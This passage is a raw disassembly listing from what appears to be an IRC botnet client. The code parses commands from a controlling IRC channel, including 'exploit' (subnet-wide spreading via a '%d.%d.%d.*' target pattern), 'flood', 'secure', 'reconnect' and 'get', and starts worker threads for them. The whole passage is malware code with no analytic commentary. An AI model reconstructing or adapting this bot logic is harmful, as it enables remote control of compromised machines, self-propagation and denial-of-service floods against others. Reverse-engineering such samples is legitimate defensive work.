					; sub_401ACD+190Fj
		push	0Ah
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403FCC
		push	offset unk_42C300
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401ACD+24F3j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEB
		push	offset unk_42C2D8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FEB:				; CODE XREF: sub_401ACD+2512j
		push	offset unk_42C2B8
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FF5:				; CODE XREF: sub_401ACD+18D0j
					; sub_401ACD+18E5j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CF
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_401ACD+18A6j
					; sub_401ACD+18BBj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C29
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401ACD+187Cj
					; sub_401ACD+1891j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 268083Ah
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404054
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404054:				; CODE XREF: sub_401ACD+257Cj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409855


loc_40406D:				; CODE XREF: sub_401ACD+2595j
		push	ebx
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C2A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_4040AB:				; CODE XREF: sub_401ACD+529Dj
		add	esp, 24h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4040B3:				; CODE XREF: sub_401ACD+1852j
					; sub_401ACD+1867j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A30
		add	esp, 0Ch
		push	offset dword_42C280
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_4040D1:				; CODE XREF: sub_401ACD+1828j
					; sub_401ACD+183Dj
		push	27h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_404105
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C260
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_4040FD:				; CODE XREF: sub_401ACD+7238j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404105:				; CODE XREF: sub_401ACD+260Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404166
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404166
		mov	[ebp+var_AA8], 1


loc_404166:				; CODE XREF: sub_401ACD+267Cj
					; sub_401ACD+268Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C23C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4041D4


loc_4041BE:				; CODE XREF: sub_401ACD+2705j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409631
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_4041BE
; ---------------------------------------------------------------------------


loc_4041D4:				; CODE XREF: sub_401ACD+26EFj
		nop
		call	near ptr 26709D6h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C200
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409631
; ---------------------------------------------------------------------------


loc_4041F4:				; CODE XREF: sub_401ACD+17FEj
					; sub_401ACD+1813j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404213
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1E4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404213:				; CODE XREF: sub_401ACD+272Aj
		push	[ebp+arg_4]
		call	dword_4CB6EC
		call	dword_4CB5AC
		call	sub_41835A
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_40422E:				; CODE XREF: sub_401ACD+17D4j
					; sub_401ACD+17E9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA43
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1C8
		jmp	short loc_404286
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_401ACD+17AAj
					; sub_401ACD+17BFj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1AC


loc_404286:				; CODE XREF: sub_401ACD+24E4j
					; sub_401ACD+278Aj
		call	sub_4151AD
		add	esp, 18h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_404293:				; CODE XREF: sub_401ACD+1780j
					; sub_401ACD+1795j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524D
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_401ACD+1756j
					; sub_401ACD+176Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EB
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EB
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EB
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EB:				; CODE XREF: sub_401ACD+27E8j
					; sub_401ACD+27F3j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C194
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset word_41528E
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40438E


loc_404378:				; CODE XREF: sub_401ACD+28BFj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_404378
; ---------------------------------------------------------------------------


loc_40438E:				; CODE XREF: sub_401ACD+28A9j
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_42C15C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439F:				; CODE XREF: sub_401ACD+172Cj
					; sub_401ACD+1741j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415135
		push	offset dword_42C144
		call	sub_4151AD


loc_4043BA:				; CODE XREF: sub_401ACD+2454j
		add	esp, 10h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4043C2:				; CODE XREF: sub_401ACD+1702j
					; sub_401ACD+1717j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441C
		push	offset dword_42C140
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404422
; ---------------------------------------------------------------------------


loc_40441C:				; CODE XREF: sub_401ACD+2933j
		mov	[ebp+var_B40], ebx


loc_404422:				; CODE XREF: sub_401ACD+294Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C120
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset word_40B162
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404490


loc_40447A:				; CODE XREF: sub_401ACD+29C1j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_40447A
; ---------------------------------------------------------------------------


loc_404490:				; CODE XREF: sub_401ACD+29ABj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42C0E4
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_4044A1:				; CODE XREF: sub_401ACD+1686j
					; sub_401ACD+169Bj
		push	offset aQsfposs	; "qsfposs"
		push	offset dword_42C0CC


loc_4044AB:				; CODE XREF: sub_401ACD+2A1Dj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_4044D8:				; CODE XREF: sub_401ACD+165Cj
					; sub_401ACD+1671j
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	offset unk_42C0A0
		jmp	short loc_4044AB
; ---------------------------------------------------------------------------


loc_4044EC:				; CODE XREF: sub_401ACD+1632j
					; sub_401ACD+1647j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451E
		cmp	[ebp+var_C], ebx
		jz	short loc_40452D
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452D
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		jmp	short loc_40452D
; ---------------------------------------------------------------------------


loc_40451E:				; CODE XREF: sub_401ACD+2A28j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		pop	ecx


loc_40452D:				; CODE XREF: sub_401ACD+2A2Dj
					; sub_401ACD+2A3Cj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404534:				; CODE XREF: sub_401ACD+1608j
					; sub_401ACD+161Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C050
		call	sub_4151AD
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404556:				; CODE XREF: sub_401ACD+15DEj
					; sub_401ACD+15F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C01C
		call	sub_4151AD
		add	esp, 0Ch
		jmp	loc_4097BA
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_401ACD+15B4j
					; sub_401ACD+15C9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DB
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_401ACD+158Aj
					; sub_401ACD+159Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B786
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1560j
					; sub_401ACD+1575j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B71A
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045B7:				; CODE XREF: sub_401ACD+1536j
					; sub_401ACD+154Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64B
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045CD:				; CODE XREF: sub_401ACD+1491j
					; sub_401ACD+14A6j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42C00C
		push	offset dword_42BFFC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045E5:				; CODE XREF: sub_401ACD+1467j
					; sub_401ACD+147Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFF0
		push	offset dword_42BFE0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045FD:				; CODE XREF: sub_401ACD+1083j
					; sub_401ACD+1098j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404621
; ---------------------------------------------------------------------------


loc_40461C:				; CODE XREF: sub_401ACD+2B39j
					; sub_401ACD+2B44j
		mov	eax, dword_429074


loc_404621:				; CODE XREF: sub_401ACD+2B4Dj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404646
		push	esi


loc_404633:				; CODE XREF: sub_401ACD+2B88j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465D
; ---------------------------------------------------------------------------


loc_404646:				; CODE XREF: sub_401ACD+2B63j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404657
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404633
; ---------------------------------------------------------------------------


loc_404657:				; CODE XREF: sub_401ACD+2B7Fj
		mov	[ebp+var_5A0], bl


loc_40465D:				; CODE XREF: sub_401ACD+2B77j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BFB8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_4111CE
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40470E


loc_4046F8:				; CODE XREF: sub_401ACD+2C3Fj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_4046F8
; ---------------------------------------------------------------------------


loc_40470E:				; CODE XREF: sub_401ACD+2C29j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset dword_42BF7C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471F:				; CODE XREF: sub_401ACD+1019j
					; sub_401ACD+102Ej
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404745
; ---------------------------------------------------------------------------


loc_40473F:				; CODE XREF: sub_401ACD+2C5Bj
					; sub_401ACD+2C67j
		mov	ax, word_429084


loc_404745:				; CODE XREF: sub_401ACD+2C70j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF50
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A73
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F7
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40E504
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404814


loc_4047FE:				; CODE XREF: sub_401ACD+2D45j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_4047FE
; ---------------------------------------------------------------------------


loc_404814:				; CODE XREF: sub_401ACD+2D2Fj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42BF10
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404825:				; CODE XREF: sub_401ACD+FC5j
					; sub_401ACD+FDAj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484D
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404857


loc_40484D:				; CODE XREF: sub_401ACD+2D67j
		mov	[ebp+var_A10], 1


loc_404857:				; CODE XREF: sub_401ACD+2D7Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489E
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489E:				; CODE XREF: sub_401ACD+2DCAj
		push	eax
		push	offset dword_42BEDC
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E1A
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404912


loc_4048FC:				; CODE XREF: sub_401ACD+2E43j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2660E9Fh
		jmp	short loc_4048FC
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_401ACD+2E2Dj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset dword_42BEA0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_404923:				; CODE XREF: sub_401ACD+F9Bj
					; sub_401ACD+FB0j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AF


loc_404934:				; CODE XREF: sub_401ACD+2AB9j
					; sub_401ACD+2ACFj ...
		add	esp, 0Ch
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_40493C:				; CODE XREF: sub_401ACD+F71j
					; sub_401ACD+F86j
		push	offset unk_42BDF0
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: sub_401ACD+F47j
					; sub_401ACD+F5Cj
		push	offset aAbosel7Vs ; "abosel7 vs"
		push	offset dword_42BDE0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_404955:				; CODE XREF: sub_401ACD+F1Dj
					; sub_401ACD+F32j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AF
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A7
		cmp	eax, 3
		jge	short loc_4049A7
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499F
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_40499F:				; CODE XREF: sub_401ACD+2EB1j
		push	eax
		push	offset unk_42BDB4
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_401ACD+2E9Cj
					; sub_401ACD+2EA1j
		push	eax
		push	offset unk_42BD88
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049AF:				; CODE XREF: sub_401ACD+2E91j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B4:				; CODE XREF: sub_401ACD+2F03j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D7
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B4
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_4049D7:				; CODE XREF: sub_401ACD+2EF7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D0B4


loc_4049EC:				; CODE XREF: sub_401ACD+2153j
					; sub_401ACD+2ED8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_4049FD:				; CODE XREF: sub_401ACD+EF3j
					; sub_401ACD+F08j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A6
		call	sub_40B2C0
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A23:				; CODE XREF: sub_401ACD+1A12j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB1
		cmp	dword_4CEE08, ebx
		jz	short loc_404A4B
		push	offset dword_4CE7E8


loc_404A41:				; CODE XREF: sub_401ACD+2FE2j
		push	offset unk_42BD4C
		jmp	loc_404AE1
; ---------------------------------------------------------------------------


loc_404A4B:				; CODE XREF: sub_401ACD+2F6Dj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A41
; ---------------------------------------------------------------------------


loc_404AB1:				; CODE XREF: sub_401ACD+2F65j
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC5
		push	offset unk_42BD0C
		jmp	short loc_404AE1
; ---------------------------------------------------------------------------


loc_404AC5:				; CODE XREF: sub_401ACD+2FEFj
		push	offset dword_4CE7E8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEE08, 1
		pop	ecx
		push	esi
		push	offset unk_42BCE0


loc_404AE1:				; CODE XREF: sub_401ACD+2F79j
					; sub_401ACD+2FF6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FE
; ---------------------------------------------------------------------------


loc_404AF5:				; CODE XREF: sub_401ACD+19FAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF8
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BCA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset word_40B8A2
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_404BE7


loc_404BD1:				; CODE XREF: sub_401ACD+3118j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BE7:				; CODE XREF: sub_401ACD+3102j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42BC68
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_404BF8:				; CODE XREF: sub_401ACD+3037j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DF
		nop
		call	near ptr 268083Ah
